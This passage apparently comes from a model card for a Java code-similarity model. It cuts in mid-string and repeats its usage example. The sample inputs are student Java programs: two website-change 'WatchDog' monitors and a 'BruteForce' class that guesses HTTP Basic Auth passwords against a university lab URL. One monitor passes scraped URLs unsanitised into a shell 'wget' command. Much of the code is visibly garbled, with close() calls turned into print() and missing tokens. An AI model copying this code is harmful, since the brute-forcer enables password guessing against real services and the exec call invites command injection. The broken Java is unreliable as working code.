}\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, 